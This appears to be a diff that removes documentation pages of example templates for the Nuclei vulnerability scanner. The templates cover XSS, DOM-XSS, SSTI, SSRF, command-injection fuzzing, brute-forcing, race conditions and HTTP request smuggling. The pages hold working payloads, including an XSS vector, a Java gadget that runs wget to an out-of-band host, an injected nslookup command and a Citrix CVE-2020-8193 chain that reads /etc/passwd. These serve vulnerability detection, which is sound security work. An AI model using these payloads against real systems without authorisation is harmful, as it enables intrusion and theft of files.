code: "(function() { window.alert = function() { window.data = 'found' } })()"
|
||||
- args:
|
||||
by: x
|
||||
value: admin
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: text
|
||||
- args:
|
||||
by: x
|
||||
value: password
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: text
|
||||
- args:
|
||||
by: x
|
||||
xpath: /html/body/div/div[2]/form/fieldset/p/input
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: x
|
||||
xpath: /html/body/div/div[2]/div/ul[2]/li[11]/a
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: x
|
||||
value: '"><svg/onload=alert(1)>'
|
||||
xpath: /html/body/div/div[3]/div/div/form/p/input
|
||||
action: text
|
||||
- args:
|
||||
keys: "\r" # Press the enter key on the keyboard
|
||||
action: keyboard
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alert
|
||||
args:
|
||||
code: "window.data"
|
||||
matchers:
|
||||
- part: alert
|
||||
type: word
|
||||
words:
|
||||
- "found"
|
||||
```
|
||||
|
||||
## DOM XSS Detection
|
||||
|
||||
This template performs detection of DOM-XSS for `window.name` source by hooking common sinks such as `eval`, `innerHTML` and `document.write`.
|
||||
|
||||
```yaml
|
||||
id: window-name-domxss
|
||||
|
||||
info:
|
||||
name: window.name DOM XSS
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
code: |
|
||||
(function() {window.alerts = [];
|
||||
|
||||
function logger(found) {
|
||||
window.alerts.push(found);
|
||||
}
|
||||
|
||||
function getStackTrace () {
|
||||
var stack;
|
||||
try {
|
||||
throw new Error('');
|
||||
}
|
||||
catch (error) {
|
||||
stack = error.stack || '';
|
||||
}
|
||||
stack = stack.split('\n').map(function (line) { return line.trim(); });
|
||||
return stack.splice(stack[0] == 'Error' ? 2 : 1);
|
||||
}
|
||||
window.name = "{{randstr_1}}'\"<>";
|
||||
|
||||
var oldEval = eval;
|
||||
var oldDocumentWrite = document.write;
|
||||
var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
|
||||
Object.defineProperty(Element.prototype, 'innerHTML', {
|
||||
set: function innerHTML_Setter(val) {
|
||||
if (val.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
|
||||
}
|
||||
return setter.call(this, val)
|
||||
}
|
||||
});
|
||||
eval = function(data) {
|
||||
if (data.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
|
||||
}
|
||||
return oldEval.apply(this, arguments);
|
||||
};
|
||||
document.write = function(data) {
|
||||
if (data.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
|
||||
}
|
||||
return oldEval.apply(this, arguments);
|
||||
};
|
||||
})();
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alerts
|
||||
args:
|
||||
code: "window.alerts"
|
||||
matchers:
|
||||
- type: word
|
||||
part: alerts
|
||||
words:
|
||||
- "sink:"
|
||||
extractors:
|
||||
- type: kval
|
||||
part: alerts
|
||||
kval:
|
||||
- alerts
|
||||
```
|
||||
@@ -1,100 +0,0 @@
|
||||
---
|
||||
title: "Helpers"
|
||||
---
|
||||
|
||||
## Helper Functions Examples
|
||||
|
||||
Nuclei has a number of helper functions that may be used to conduct various run-time operations on the request block. Here's an example template that shows how to use all the available helper functions.
|
||||
|
||||
```yaml
|
||||
id: helper-functions-examples
|
||||
|
||||
info:
|
||||
name: RAW Template with Helper Functions
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
1: {{base64("Hello")}}
|
||||
2: {{base64(1234)}}
|
||||
3: {{base64_decode("SGVsbG8=")}}
|
||||
4: {{base64_py("Hello")}}
|
||||
5: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
|
||||
6: {{concat("Hello", "world")}}
|
||||
7: {{contains("Hello", "lo")}}
|
||||
8: {{contains_all("Hello everyone", "lo", "every")}}
|
||||
9: {{contains_any("Hello everyone", "abc", "llo")}}
|
||||
10: {{date_time("%Y-%M-%D")}}
|
||||
11: {{date_time("%Y-%M-%D", unix_time())}}
|
||||
12: {{date_time("%H-%m")}}
|
||||
13: {{date_time("02-01-2006 15:04")}}
|
||||
14: {{date_time("02-01-2006 15:04", unix_time())}}
|
||||
15: {{dec_to_hex(11111)}}
|
||||
16: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
|
||||
17: {{gzip("Hello")}}
|
||||
18: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
|
||||
19: {{hex_decode("6161")}}
|
||||
20: {{hex_encode("aa")}}
|
||||
21: {{hmac("sha1", "test", "scrt")}}
|
||||
22: {{hmac("sha256", "test", "scrt")}}
|
||||
23: {{html_escape("<body>test</body>")}}
|
||||
24: {{html_unescape("<body>test</body>")}}
|
||||
25: {{join("_", "hello", "world")}}
|
||||
26: {{len("Hello")}}
|
||||
27: {{len(5555)}}
|
||||
28: {{md5("Hello")}}
|
||||
29: {{md5(1234)}}
|
||||
30: {{mmh3("Hello")}}
|
||||
31: {{print_debug(1+2, "Hello")}}
|
||||
32: {{rand_base(5, "abc")}}
|
||||
33: {{rand_base(5, "")}}
|
||||
34: {{rand_base(5)}}
|
||||
35: {{rand_char("abc")}}
|
||||
36: {{rand_char("")}}
|
||||
37: {{rand_char()}}
|
||||
38: {{rand_int(1, 10)}}
|
||||
39: {{rand_int(10)}}
|
||||
40: {{rand_int()}}
|
||||
41: {{rand_ip("192.168.0.0/24")}}
|
||||
42: {{rand_ip("2002:c0a8::/24")}}
|
||||
43: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
|
||||
44: {{rand_text_alpha(10, "abc")}}
|
||||
45: {{rand_text_alpha(10, "")}}
|
||||
46: {{rand_text_alpha(10)}}
|
||||
47: {{rand_text_alphanumeric(10, "ab12")}}
|
||||
48: {{rand_text_alphanumeric(10)}}
|
||||
49: {{rand_text_numeric(10, 123)}}
|
||||
50: {{rand_text_numeric(10)}}
|
||||
51: {{regex("H([a-z]+)o", "Hello")}}
|
||||
52: {{remove_bad_chars("abcd", "bc")}}
|
||||
53: {{repeat("a", 5)}}
|
||||
54: {{replace("Hello", "He", "Ha")}}
|
||||
55: {{replace_regex("He123llo", "(\\d+)", "")}}
|
||||
56: {{reverse("abc")}}
|
||||
57: {{sha1("Hello")}}
|
||||
58: {{sha256("Hello")}}
|
||||
59: {{to_lower("HELLO")}}
|
||||
60: {{to_upper("hello")}}
|
||||
61: {{trim("aaaHelloddd", "ad")}}
|
||||
62: {{trim_left("aaaHelloddd", "ad")}}
|
||||
63: {{trim_prefix("aaHelloaa", "aa")}}
|
||||
64: {{trim_right("aaaHelloddd", "ad")}}
|
||||
65: {{trim_space(" Hello ")}}
|
||||
66: {{trim_suffix("aaHelloaa", "aa")}}
|
||||
67: {{unix_time(10)}}
|
||||
68: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
|
||||
69: {{url_encode("https://projectdiscovery.io/test?a=1")}}
|
||||
70: {{wait_for(1)}}
|
||||
71: {{zlib("Hello")}}
|
||||
72: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
|
||||
73: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
|
||||
74: {{starts_with("Hello", "He")}}
|
||||
75: {{ends_with("Hello", "lo")}}
|
||||
76: {{line_starts_with("Hi\nHello", "He")}}
|
||||
77: {{line_ends_with("Hello\nHi", "lo")}}
|
||||
78: {{ip_format("169.254.169.254", 4)}}
|
||||
```
|
||||
@@ -1,218 +0,0 @@
|
||||
---
|
||||
title: "Base HTTP"
|
||||
---
|
||||
|
||||
## Basic Template
|
||||
|
||||
This template requests `/` path of URL and match string in the response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: basic-example
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "This is test matcher text"
|
||||
```
|
||||
|
||||
## Multiple matchers
|
||||
|
||||
This template requests `/` path of URL and run multiple OR based matchers against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: http-multiple-matchers
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: php
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
name: node
|
||||
words:
|
||||
- "Server: NodeJS"
|
||||
- "X-Powered-By: nodejs"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
name: python
|
||||
words:
|
||||
- "Python/2."
|
||||
- "Python/3."
|
||||
part: header
|
||||
```
|
||||
|
||||
## Matchers with conditions
|
||||
|
||||
This template requests `/` path of URL and runs two matchers, one with AND conditions with string match in header and another matcher against response body.
|
||||
|
||||
|
||||
```yaml
|
||||
id: matchers-conditions
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: and
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "PHP"
|
||||
part: body
|
||||
```
|
||||
## Multiple matcher conditions
|
||||
|
||||
This template requests `/` path of URL and runs two matchers with AND conditions, one with OR conditions with string match in header and another matcher against response body, both condition has to be true in order to match this template.
|
||||
|
||||
```yaml
|
||||
id: multiple-matchers-conditions
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- PHP
|
||||
part: body
|
||||
```
|
||||
|
||||
## Custom headers
|
||||
|
||||
This template requests `/` path of the URL as GET request with additional custom headers defined in the template.
|
||||
|
||||
```yaml
|
||||
id: custom-headers
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
|
||||
# Example of sending some headers to the servers
|
||||
|
||||
headers:
|
||||
|
||||
X-Client-IP: 127.0.0.1
|
||||
X-Remote-IP: 127.0.0.1
|
||||
X-Remote-Addr: 127.0.0.1
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
X-Originating-IP: 127.0.0.1
|
||||
|
||||
path:
|
||||
- "{{BaseURL}}/server-status"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- Apache Server Status
|
||||
- Server Version
|
||||
condition: and
|
||||
```
|
||||
|
||||
## POST requests
|
||||
|
||||
This template makes POST request to `/admin` endpoint with defined data as body parameter in the template.
|
||||
|
||||
|
||||
|
||||
```yaml
|
||||
id: post-request
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/admin"
|
||||
|
||||
body: 'admin=test'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- Welcome Admin
|
||||
```
|
||||
|
||||
## Time based Matcher
|
||||
|
||||
This template is example of DSL based duration matcher that returns `true` when the response time matched the defined duration, in this case 6 or more than 6 seconds.
|
||||
|
||||
```yaml
|
||||
id: time-based-matcher
|
||||
|
||||
info:
|
||||
name: DSL based response time matcher
|
||||
author: pdteam
|
||||
severity: none
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /slow HTTP/1.1
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'duration>=6'
|
||||
```
|
||||
@@ -1,209 +0,0 @@
|
||||
---
|
||||
title: "HTTP Fuzzing"
|
||||
---
|
||||
|
||||
## Basic SSTI Template
|
||||
|
||||
A simple template to discover `{{<number>*<number>}}` type SSTI vulnerabilities.
|
||||
|
||||
```yaml
|
||||
id: fuzz-reflection-ssti
|
||||
|
||||
info:
|
||||
name: Basic Reflection Potential SSTI Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
variables:
|
||||
first: "{{rand_int(10000, 99999)}}"
|
||||
second: "{{rand_int(10000, 99999)}}"
|
||||
result: "{{to_number(first)*to_number(second)}}"
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
reflection:
|
||||
- '{{concat("{{", "§first§*§second§", "}}")}}'
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: multiple
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{result}}"
|
||||
```
|
||||
## Basic XSS Template
|
||||
|
||||
A simple template to discover XSS probe reflection in HTML pages.
|
||||
|
||||
```yaml
|
||||
id: fuzz-reflection-xss
|
||||
|
||||
info:
|
||||
name: Basic Reflection Potential XSS Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
reflection:
|
||||
- "6842'\"><9967"
|
||||
stop-at-first-match: true
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{reflection}}"
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "text/html"
|
||||
```
|
||||
|
||||
## Basic OpenRedirect Template
|
||||
|
||||
A simple template to discover open-redirects issues.
|
||||
|
||||
```yaml
|
||||
id: fuzz-open-redirect
|
||||
|
||||
info:
|
||||
name: Basic Open Redirect Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "https://example.com"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys-regex:
|
||||
- "redirect.*"
|
||||
fuzz:
|
||||
- "{{redirect}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "{{redirect}}"
|
||||
- type: status
|
||||
status:
|
||||
- 301
|
||||
- 302
|
||||
- 307
|
||||
```
|
||||
|
||||
## Blind SSRF OOB Detection
|
||||
|
||||
A simple template to detect Blind SSRF in known-parameters using interact.sh with HTTP fuzzing.
|
||||
|
||||
```yaml
|
||||
id: fuzz-ssrf
|
||||
|
||||
info:
|
||||
name: Basic Blind SSRF Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "{{interactsh-url}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "dest"
|
||||
- "redirect"
|
||||
- "uri"
|
||||
- "path"
|
||||
- "continue"
|
||||
- "url"
|
||||
- "window"
|
||||
- "next"
|
||||
- "data"
|
||||
- "reference"
|
||||
- "site"
|
||||
- "html"
|
||||
- "val"
|
||||
- "validate"
|
||||
- "domain"
|
||||
- "callback"
|
||||
- "return"
|
||||
- "page"
|
||||
- "feed"
|
||||
- "host"
|
||||
- "port"
|
||||
- "to"
|
||||
- "out"
|
||||
- "view"
|
||||
- "dir"
|
||||
- "show"
|
||||
- "navigation"
|
||||
- "open"
|
||||
fuzz:
|
||||
- "https://{{redirect}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "http"
|
||||
```
|
||||
|
||||
## Blind CMDi OOB based detection
|
||||
|
||||
A simple template to detect blind CMDI using interact.sh
|
||||
|
||||
```yaml
|
||||
id: fuzz-cmdi
|
||||
|
||||
info:
|
||||
name: Basic Blind CMDI Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "{{interactsh-url}}"
|
||||
fuzzing:
|
||||
fuzz:
|
||||
- "nslookup {{redirect}}"
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
```
|
||||
|
||||
@@ -1,216 +0,0 @@
|
||||
---
|
||||
title: "HTTP Payloads"
|
||||
---
|
||||
|
||||
## HTTP Intruder fuzzing
|
||||
|
||||
This template makes a defined POST request in RAW format along with in template defined payloads running `clusterbomb` intruder and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
# HTTP Intruder fuzzing with in template payload support.
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST /?username=§username§¶mb=§password§ HTTP/1.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
|
||||
Host: {{Hostname}}
|
||||
another_header: {{base64('§password§')}}
|
||||
Accept: */*
|
||||
body=test
|
||||
|
||||
payloads:
|
||||
username:
|
||||
- admin
|
||||
|
||||
password:
|
||||
- admin
|
||||
- guest
|
||||
- password
|
||||
- test
|
||||
- 12345
|
||||
- 123456
|
||||
|
||||
attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Fuzzing multiple requests
|
||||
|
||||
This template makes a defined POST request in RAW format along with wordlist based payloads running `clusterbomb` intruder and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST /?param_a=§param_a§¶mb=§param_b§ HTTP/1.1
|
||||
User-Agent: §param_a§
|
||||
Host: {{Hostname}}
|
||||
another_header: {{base64('§param_b§')}}
|
||||
Accept: */*
|
||||
|
||||
admin=test
|
||||
|
||||
- |
|
||||
DELETE / HTTP/1.1
|
||||
User-Agent: nuclei
|
||||
Host: {{Hostname}}
|
||||
|
||||
{{sha256('§param_a§')}}
|
||||
|
||||
- |
|
||||
PUT / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
{{html_escape('§param_a§')}} + {{hex_encode('§param_b§'))}}
|
||||
|
||||
attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb
|
||||
payloads:
|
||||
param_a: payloads/prams.txt
|
||||
param_b: payloads/paths.txt
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Authenticated fuzzing
|
||||
|
||||
This template makes a subsequent HTTP requests with defined requests maintaining sessions between each request and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
|
||||
- |
|
||||
POST /testing HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
|
||||
testing=parameter
|
||||
|
||||
cookie-reuse: true # Cookie-reuse maintain the session between all request like browser.
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Dynamic variable support
|
||||
|
||||
This template makes a subsequent HTTP requests maintaining sessions between each request, dynamically extracting data from one request and reusing them into another request using variable name and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: CVE-2020-8193
|
||||
|
||||
info:
|
||||
name: Citrix unauthenticated LFI
|
||||
author: pdteam
|
||||
severity: high
|
||||
reference: https://github.com/jas502n/CVE-2020-8193
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: xpyZxwy6
|
||||
X-NITRO-PASS: xWXHUJ56
|
||||
|
||||
<appfwprofile><login></login></appfwprofile>
|
||||
|
||||
- |
|
||||
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET /menu/neo HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET /menu/stc HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: oY39DXzQ
|
||||
X-NITRO-PASS: ZuU9Y9c1
|
||||
rand_key: §randkey§
|
||||
|
||||
<appfwprofile><login></login></appfwprofile>
|
||||
|
||||
- |
|
||||
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: oY39DXzQ
|
||||
X-NITRO-PASS: ZuU9Y9c1
|
||||
rand_key: §randkey§
|
||||
|
||||
<clipermission></clipermission>
|
||||
|
||||
cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: randkey # Variable name
|
||||
part: body
|
||||
internal: true
|
||||
regex:
|
||||
- "(?m)[0-9]{3,10}\\.[0-9]+"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
```
|
||||
@@ -1,108 +0,0 @@
|
||||
---
|
||||
title: "Race Condition"
|
||||
---
|
||||
|
||||
## Race condition testing with single POST request.
|
||||
|
||||
This template makes a defined POST request in RAW format to `/coupons` endpoint, as the `race_count`is defined as `10`, this will make 10 requests at same time by holding last bytes for all the requests which sent together for all requests synchronizing the send event.
|
||||
|
||||
You can also define the matcher as any other template for the expected output which helps to identify if the race condition exploit worked or not.
|
||||
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race Condition testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /coupons HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
Cookie: user_session=42332423342987567896
|
||||
|
||||
promo_code=20OFF
|
||||
|
||||
race: true
|
||||
race_count: 10
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
## Race condition testing with multiple requests.
|
||||
|
||||
This template makes the defined and multiple POST requests in RAW format with `threads` sets to `5`, `threads` can be utilized in race condition templates when multiple requests needs to be sent to exploit the race condition, `threads` number should be same as the number of you are making with template and not needed if you're only making single request.
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race condition testing with multiple requests
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=1
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=2
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=3
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=4
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=5
|
||||
|
||||
threads: 5
|
||||
race: true
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
@@ -1,252 +0,0 @@
|
||||
---
|
||||
title: "Unsafe HTTP"
|
||||
---
|
||||
|
||||
## Basic CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: CL-TE-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "Unrecognized method GPOST")'
|
||||
```
|
||||
|
||||
## Basic TE.CL
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: TE-CL-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic TE.CL vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5c
|
||||
GPOST / HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
- |+
|
||||
POST / HTTP/1.1
|
